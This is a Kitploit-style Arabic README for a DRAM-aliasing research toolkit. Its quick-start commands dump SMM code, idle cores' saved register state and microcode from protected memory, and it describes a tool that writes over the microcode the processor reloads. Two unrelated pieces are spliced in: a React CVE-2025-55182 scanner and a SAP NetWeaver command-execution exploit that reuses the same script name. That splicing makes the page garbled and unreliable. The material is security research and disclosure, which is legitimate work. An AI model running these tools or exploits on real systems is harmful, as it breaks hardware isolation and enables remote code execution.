هذا هو محرك RSA الخاص بـ PSP — الـ modexp الذي يقف خلف كل توقيع fTPM، وخلف
اختبارات Miller-Rabin التي تُنشئ مفاتيحه — مقتلعاً من الذاكرة التي يُفترض أن
يمتلكها PSP وحده، محاطاً بسياج عند وحدة التحكم في الذاكرة، معتم حتى على
ring-0. عدّله كما تراه مناسباً.

---

## البدء السريع: افتح وضع إدارة النظام (System Management Mode)

> *اقرأ ما يخفيه SMM.*

يقع متجه دخول معالج SMI عند `SMBASE + 0x8000`. قيمة `SMBASE` موجودة في
سجل MSR `0xc0010111`. اقرأه، واسحب البايتات عبر خريطة الأسماء البديلة، ومرّرها
مباشرة إلى مفكك التجميع:```sh
# Bail out early on platforms this was never tested on.
./userspace/platform_check || exit 1

sudo modprobe msr

# SMBASE is per-core; core 0's lives in MSR 0xc0010111.
SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111)
SMI_ENTRY=$(( SMM_BASE + 0x8000 ))

# Dump the entry vector through the alias map and disassemble on the fly.
# SMM starts in real mode, so ndisasm gets -b 16. One --map per saved map;
# printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo.
sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40 \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -

ما هو Kitploit؟

Kitploit هو دليل ومدونة مخصصة لأدوات الأمن السيبراني مفتوحة المصدر. يقدم بانتظام أدوات اختبار الاختراق الجديدة، وأدوات تحليل الثغرات الأمنية، وأدوات الاستطلاع، وأدوات الهندسة العكسية، وغيرها من البرامج الأمنية.```nasm ; SMI entry stub — the first thing a core executes when entering the ; ultra-privileged System Management Mode. mov si,0x8148 ; SI -> GDT pointer parked at SMBASE+0x8148, just past this stub o32 lgdt [cs:si] ; load it (o32 -> full 32-bit base, not real mode's 24-bit form) mov eax,0x3 ; CR0.PE | CR0.MP mov cr0,eax ; flip the core into protected mode jmp short 0x14 ; near jump to serialize and flush the prefetch queue post-switch mov ax,0x18 ; GDT selector 0x18 -> flat data segment mov ss,ax ; reload SS for protected mode mov eax,0x6efe2ff8 ; SMM stack top mov esp,eax ; install the SMM stack o32 push byte +0x10 ; far-return frame: CS = code selector 0x10 mov ecx,0xc0010111 ; MSR SMM_BASE rdmsr ; EAX = this core's SMBASE mov ebx,eax ; stash SMBASE add eax,0x803a ; EAX = SMBASE+0x803a, the 32-bit handler entry push eax ; far-return frame: EIP = SMBASE+0x803a retfd ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper

تعمل تلك التعليمات في الحلقة -2، وهي السياق الأكثر امتيازًا على وحدة المعالجة المركزية،
خارج الذاكرة التي يُفترض أن تجعلها مجموعة الشرائح غير قابلة للقراءة. تبيّن أن SMRAM "المقفلة"
ليست سوى اقتراح مهذب عندما نستطيع التحدث إلى متحكم DRAM
مباشرة.

استبدل `2x4gb` بأي بادئة في `data/maps/` تطابق وحدات DIMM المثبتة لديك (`sudo dmidecode -t memory`). إذا لم تكن بنيتك الطوبولوجية موجودة هناك، شغّل
`analysis/gather_aliases.py` ثم `analysis/unspaghettify.py` لتصنع نسختك الخاصة.

---

## البدء السريع: إلغاء قفل C6 DRAM

> *ليس لدي أي فكرة عما يوجد هنا ولم أرَ مناقشة له من قبل، على الأرجح
> سجلات داخلية لوحدة المعالجة المركزية. استمتع.*

عندما تدخل الأنوية في وضع إيقاف الطاقة C6، يُخزَّن السياق المعماري الكامل لـ x86 لكل نواة
هنا لاستعادته لاحقًا.```sh
./userspace/platform_check || exit 1

# Resolve the C6 stash — sets CC6_BASE / CC6_SIZE (0x7f000000 / 0x800000 on the
# test box). Each idle core's state lives in a 16 KiB save area; four cores
# here, at CC6_BASE + {0, 0x4000, 0x8000, 0xc000}.
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000 \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin

# For example, on this platform IA32_APIC_BASE sits at +0x9b8 in each area.
# Read it from all four cores straight out of the stash:
for c in 0 1 2 3; do
    printf 'core %d  ' $c
    hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1
done

الاستخدام

المسح الأساسي

# فحص مستودع محلي
python3 cve_2025_55182.py /path/to/repo

# فحص مستودع GitHub
python3 cve_2025_55182.py https://github.com/user/repo

# فحص مع إخراج مفصل
python3 cve_2025_55182.py /path/to/repo --verbose

# حفظ النتائج في ملف JSON
python3 cve_2025_55182.py /path/to/repo --output results.json

خيارات سطر الأوامر

usage: cve_2025_55182.py [-h] [--verbose] [--output OUTPUT] [--timeout TIMEOUT]
                         [--max-size MAX_SIZE] [--no-color] [--quiet]
                         target

positional arguments:
  target                مسار المستودع المحلي أو رابط GitHub

optional arguments:
  -h, --help            إظهار رسالة المساعدة هذه والخروج
  --verbose, -v         تمكين الإخراج المفصل
  --output OUTPUT, -o OUTPUT
                        حفظ النتائج في ملف JSON
  --timeout TIMEOUT     مهلة الطلب بالثواني (افتراضي: 30)
  --max-size MAX_SIZE   الحد الأقصى لحجم الملف بالبايت (افتراضي: 10485760)
  --no-color            تعطيل الإخراج الملوّن
  --quiet, -q           وضع الصمت (الحد الأدنى من الإخراج)

أمثلة الاستخدام

فحص مستودع محلي

python3 cve_2025_55182.py /home/user/projects/my-app

فحص مستودع GitHub

python3 cve_2025_55182.py https://github.com/example/vulnerable-app

فحص مع إخراج JSON

python3 cve_2025_55182.py /path/to/repo --output scan_results.json

فحص مع مهلة مخصصة

python3 cve_2025_55182.py https://github.com/user/repo --timeout 60

مثال الإخراج

╔══════════════════════════════════════════════════════════════╗
║   CVE-2025-55182 Scanner - React Server Components RCE      ║
╚══════════════════════════════════════════════════════════════╝

[*] Target: /home/user/projects/my-app
[*] Scanning for vulnerable patterns...

[+] Found package.json
[+] React version: 19.0.0
[!] VULNERABLE: React version 19.0.0 is affected by CVE-2025-55182

[+] Found server component: app/dashboard/page.tsx
[!] VULNERABLE: Unsafe server action pattern detected
    Line 42: export async function action(data) {
    Line 43:   return eval(data.code);

[+] Found API route: app/api/process/route.ts
[!] VULNERABLE: Unsafe deserialization detected
    Line 15: const result = deserialize(userInput);

═══════════════════════════════════════════════════════════════
SCAN SUMMARY
═══════════════════════════════════════════════════════════════
Files scanned:     47
Vulnerabilities:   3
Critical:          2
High:              1
Medium:            0
Low:               0

[!] Target is VULNERABLE to CVE-2025-55182

فهم النتائج

مستويات الخطورة

المستوىالوصف
Criticalقابلية استغلال مباشرة تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد
Highقابلية استغلال محتملة تتطلب شروطًا محددة
Mediumمشكلات أمنية تتطلب تفاعل المستخدم
Lowممارسات غير آمنة بمخاطر محدودة

أنواع الثغرات المكتشفة

  1. إصدار React غير آمن: إصدارات React و React DOM المتأثرة
  2. أنماط Server Action غير آمنة: استخدام eval() أو Function() مع مدخلات المستخدم
  3. إلغاء تسلسل غير آمن: تحليل البيانات غير الموثوقة دون التحقق منها
  4. نقاط نهاية API مكشوفة: مسارات API غير محمية تعالج مدخلات المستخدم
  5. تسريب متغيرات البيئة: كشف متغيرات البيئة الحساسة في كود جانب العميل

آلية العمل

نظرة عامة على البنية

┌─────────────────┐
│   CLI Parser    │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Target Loader  │
│  (Local/GitHub) │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  File Scanner   │
│  (Pattern Match)│
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  AST Analyzer   │
│  (Deep Inspect) │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ Report Generator│
│  (Text/JSON)    │
└─────────────────┘

عملية الفحص

  1. تحميل الهدف: تحميل المستودع المحلي أو استنساخ مستودع GitHub
  2. اكتشاف الملفات: تحديد ملفات JavaScript/TypeScript ذات الصلة
  3. مطابقة الأنماط: البحث عن أنماط الكود المعروفة بأنها ضعيفة
  4. تحليل AST: تحليل شجرة بناء الجملة المجردة للكشف عن المشكلات المعقدة
  5. توليد التقرير: تجميع النتائج وإخراجها بتنسيق نصي أو JSON

الأنماط المكتشفة

يكتشف الماسح الضوئي الأنماط التالية:

  • استدعاءات eval() مع مدخلات المستخدم
  • مُنشئ Function() مع معاملات ديناميكية
  • dangerouslySetInnerHTML مع محتوى غير معقّم
  • إلغاء تسلسل غير آمن (JSON.parse على بيانات غير موثوقة)
  • Server Actions بدون التحقق من الصلاحيات
  • متغيرات بيئة مكشوفة في كود جانب العميل
  • نقاط نهاية API بدون مصادقة```text core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP bit set core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
نواة واحدة مع بت BSP مضبوط، وثلاث بدونها — معالج الإقلاع وثلاثة من المعالجات المساعدة (APs)، ممسوكة في منتصف الخمول مع حالة سجلاتها مكشوفة.

كلما تعمقت أكثر، كلما بدأت في العثور على المزيد من سجلات المعالج:

| الإزاحة | حالة x86 | قيمة النواة-0 |
|---|---|---|
| `+0x8b0` | GS / قاعدة لكل-معالج | `0xffff9be4e3600000` |
| `+0x9a0` | CR3 (جذر جدول الصفحات) | `0x0fd46000` |
| `+0x9b8` | IA32_APIC_BASE | `0xfee00900` |
| `+0xa38` | MTRR متغير (قاعدة/قناع) | `0x6f000000 / …0800` |
| `+0xb10` | RIP المحفوظ | `0xffffffff8f3a0029` |

بالطبع، كل هذه السجلات يمكن الوصول إليها من الحلقة-0 (ring-0) على أي حال. الجزء
*الممتع* يكمن في كل *حالة* المعالج *الأخرى* الموجودة هناك — النبش في سجلات
المعالج الداخلية التي لا تستطيع الحلقة-0 الوصول إليها.

---

## البدء السريع: افتح قفل microcode المعالج الخاص بك

> *ما الذي قد يحدث من خطأ؟*

عندما تهبط نواة إلى C6، فإن ذاكرة تصحيح microcode الخاصة بها — SRAM المتطايرة — تنطفئ مع بقية النواة. لذا تحتفظ خزانة C6 بالتصحيح المحمّل في DRAM وتعيد زرعه عند الاستيقاظ. توجد هذه النسخة عند `+0x1800` في كل منطقة حفظ، ويصل إليها الاسم المستعار مثل أي بايت آخر.

احصل على نسخة microcode التي خبأها المعالج في DRAM المسيّجة:```sh
./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region cc6)"

# page 1 of core 0's save area is the live microcode patch body
sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin

طابقه مقابل التصحيحات المعروفة:```sh

did we find it?

python3 - <<'EOF' ram = open("ucode_ram.bin", "rb").read() chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12] for fam in (15, 16, 17, 19): uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read() print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match") EOF

هذه علامة جيدة:```text
fam15h:  0/94 chunks match
fam16h: 68/94 chunks match     <- the microcode the core is running
fam17h:  0/94 chunks match
fam19h:  0/94 chunks match

استخرج ثلاثيات ucode:```sh od -Ax -tx1 -w20 ucode_ram.bin

## الاستخدام

```bash
python3 cve_2025_55182.py --target https://example.com --username admin --password admin

الخيارات

الخيارالوصف
--targetعنوان URL الأساسي لـ SAP NetWeaver (مطلوب)
--usernameاسم مستخدم SAP (مطلوب)
--passwordكلمة مرور SAP (مطلوب)
--commandالأمر المراد تنفيذه (افتراضي: id)
--timeoutمهلة الطلب بالثواني (افتراضي: 30)
--verboseتمكين الإخراج المفصل

أمثلة

# تنفيذ الأمر الافتراضي (id)
python3 cve_2025_55182.py --target https://sap.example.com --username admin --password secret

# تنفيذ أمر مخصص
python3 cve_2025_55182.py --target https://sap.example.com --username admin --password secret --command "whoami"

# تمكين الإخراج المفصل
python3 cve_2025_55182.py --target https://sap.example.com --username admin --password secret --verbose

آلية العمل

  1. المصادقة: يقوم البرنامج النصي بالمصادقة إلى SAP NetWeaver باستخدام بيانات الاعتماد المقدمة.
  2. الحقن: يقوم بحقن حمولة في نقطة نهاية معرضة للخطر.
  3. التنفيذ: يتم تنفيذ الأمر على الخادم.
  4. الاستخراج: يتم استخراج مخرجات الأمر وعرضها.

مثال الإخراج

[*] Target: https://sap.example.com
[*] Authenticating as admin...
[+] Authentication successful
[*] Injecting payload...
[+] Command executed successfully
[+] Output:
uid=1000(sapuser) gid=1000(sapgroup) groups=1000(sapgroup)

ملاحظات

  • يتطلب هذا البرنامج النصي وصولاً شبكيًا إلى هدف SAP NetWeaver.
  • تأكد من حصولك على إذن مناسب قبل اختبار هذا الثغرة الأمنية.
  • قد يختلف السلوك اعتمادًا على إصدار SAP NetWeaver والتكوين المحدد.

المراجع

إخلاء المسؤولية

تم توفير هذه الأداة لأغراض الاختبار الأمني المصرح به والبحث الأمني فقط. المستخدمون مسؤولون عن الامتثال لجميع القوانين واللوائح المعمول بها. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذه الأداة.```text 000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a 000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0 000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27 [...] 000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00 * 0005f0

وهناك هو، uops مميزة في الأعلى، وحشو NOP يتكرر في الأسفل.

من هناك، لدى `dram_dump` أداة شقيقة، `dram_poke`. نفس الاسم المستعار الذي قرأ التصحيح يمكنه كتابته — وهذه النسخة هي التي تعيد النواة تحميلها عند الخروج من وضع الخمول.

ما تفعله بعد ذلك متروك لخيالك.

---

## Build```
make        # builds kernel/spaghettify.ko and all userspace tools
make clean

الاستخدام

شغّله كـ root. التفاصيل الكاملة في USAGE.md.

dram_read

قراءة بسيطة من عنوان ذاكرة محمي.

ادفع تبديلات --do-swizzle / --do-bankswap إلى وحدة تحكم DRAM للدخول إلى عرض الذاكرة المتشابك، واقرأ dword واحد من العنوان الفيزيائي <pa>، ثم استعد بتات DCT، وأعد القيمة.``` dram_read --pa --do-swizzle <0|1> --do-bankswap <0|1>

### `dram_poke`

الكتابة في نطاق ذاكرة محمي.

كل `--map` هو spaghettification محلول من `unspaghettify.py --save-map`،
والذي يُغذّى بدوره بأزواج الأسماء المستعارة التي جمعها `gather_aliases.py`؛ يتم استرداد الاسم المستعار لكل
dword في النطاق المحمي من الخريطة عبر معكوس شبه زائف GF(2)
يُحسب مرة واحدة عند بدء التشغيل. مرّر خرائط متعددة — واحدة لكل
`(at_swizzle, at_bankswap)` تم جمعها على نفس العتاد — لتوسيع التغطية،
حيث تترك كل عملية spaghettification مجموعة مختلفة من الثقوب ناقصة الرتبة
وأول خريطة تصل إلى dword معين تفوز.```
dram_poke
    [--dangerously-skip-calibration]
    [--calibrate-pa <hex>]
    [--strict-holes]
    [--no-verify]
    [--ignore-fw-mismatch]
    [--fenced-range <lo>,<hi>]
    [--allow-fenced-alias]
    -s, --protected-pa <pa>
    -l, --length <n>
    --map <file> [--map <file>]...
    < in.bin

dram_dump

القراءة من نطاق ذاكرة محمي.

نفس آلية --map المستخدمة في dram_poke: كل خريطة هي spaghettification محلولة من unspaghettify.py --save-map، ويُستعاد الاسم المستعار لكل dword عبر معكوس GF(2) الزائف بضربة واحدة، وتوسّع الخرائط المتعددة المجمّعة عند (at_swizzle, at_bankswap) المختلفة التغطية حيث تُملأ الفجوات الناقصة الرتبة لخريطة واحدة بواسطة أخرى.``` dram_dump [--dangerously-skip-calibration] [--calibrate-pa ] [--dry-run] [--ignore-fw-mismatch] [--fenced-range ,] [--allow-fenced-alias] -s, --protected-pa -l, --length --map [--map ]...

سلسلة الأدوات الكاملة — `dram_state` و`dram_carveouts` و`dram_alias`؛ وخط تحليل `gather_aliases.py` / `unspaghettify.py`؛ وأمثلة كاملة من البداية إلى النهاية؛ والتفاصيل الداخلية — موثّقة في **[USAGE.md](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts/blob/main/USAGE.md)**.

---

## خط الأنابيب المشترك

يستكشف `skitter-creek-bath-salts` كيف يمكن للمراحل النهائية من تحويلات MCT/DCT أن تُسقط أمان كل ما بُني فوقها. الاستغلال الموضّح هنا هو سجل تكوين واحد على AMD Family 16h، اختير لأن أوراق البيانات قدّمت ما يكفي للبدء. أما *خط الأنابيب* الذي كسره فهو موجود في كل مكان.

تشابك القنوات، وتشابك الرتب، وتشابك البنوك، والخلط (swizzle)، وتطبيع اختيار الشريحة — كل متحكم ذاكرة حديث ينفّذ نسخة من كل ذلك. AMD. Intel. ARM. RISC-V. الهواتف المحمولة. الخوادم. الأنظمة المدمجة. الشكل المعماري نفسه يقع تحت كل شيء.

*فوق* كل ذلك يقع SEV وSGX وTDX وTrustZone وCCA realms وpKVM وCoVE وSEP وPSP وME وT-SEG وSMRAM ومخبأ C6. كل ما يستقر في DRAM — حتى الأشياء المعزولة وغير المرئية لـ ring-0 أو للمعالج نفسه — يرتكز على الطبقات النهائية من خط أنابيب `*p` الذي بدأنا للتو استكشافه.

---

## المراجع

* Black Hat 2026 — Spaghettifying DRAM (قريبًا)

---

## المؤلف

`skitter-creek-bath-salts` هو جهد بحثي من Christopher Domas ([@xoreaxeaxeax](https://x.com/xoreaxeaxeax/))

---

![Experiment](https://assets.kitploit.com/production/public/readmes/50084/e0d23a5801481c1c13057e8e0a1b4bdd3875a6c36140ea37f577cfa5801ec982.jpg)

---

الفئات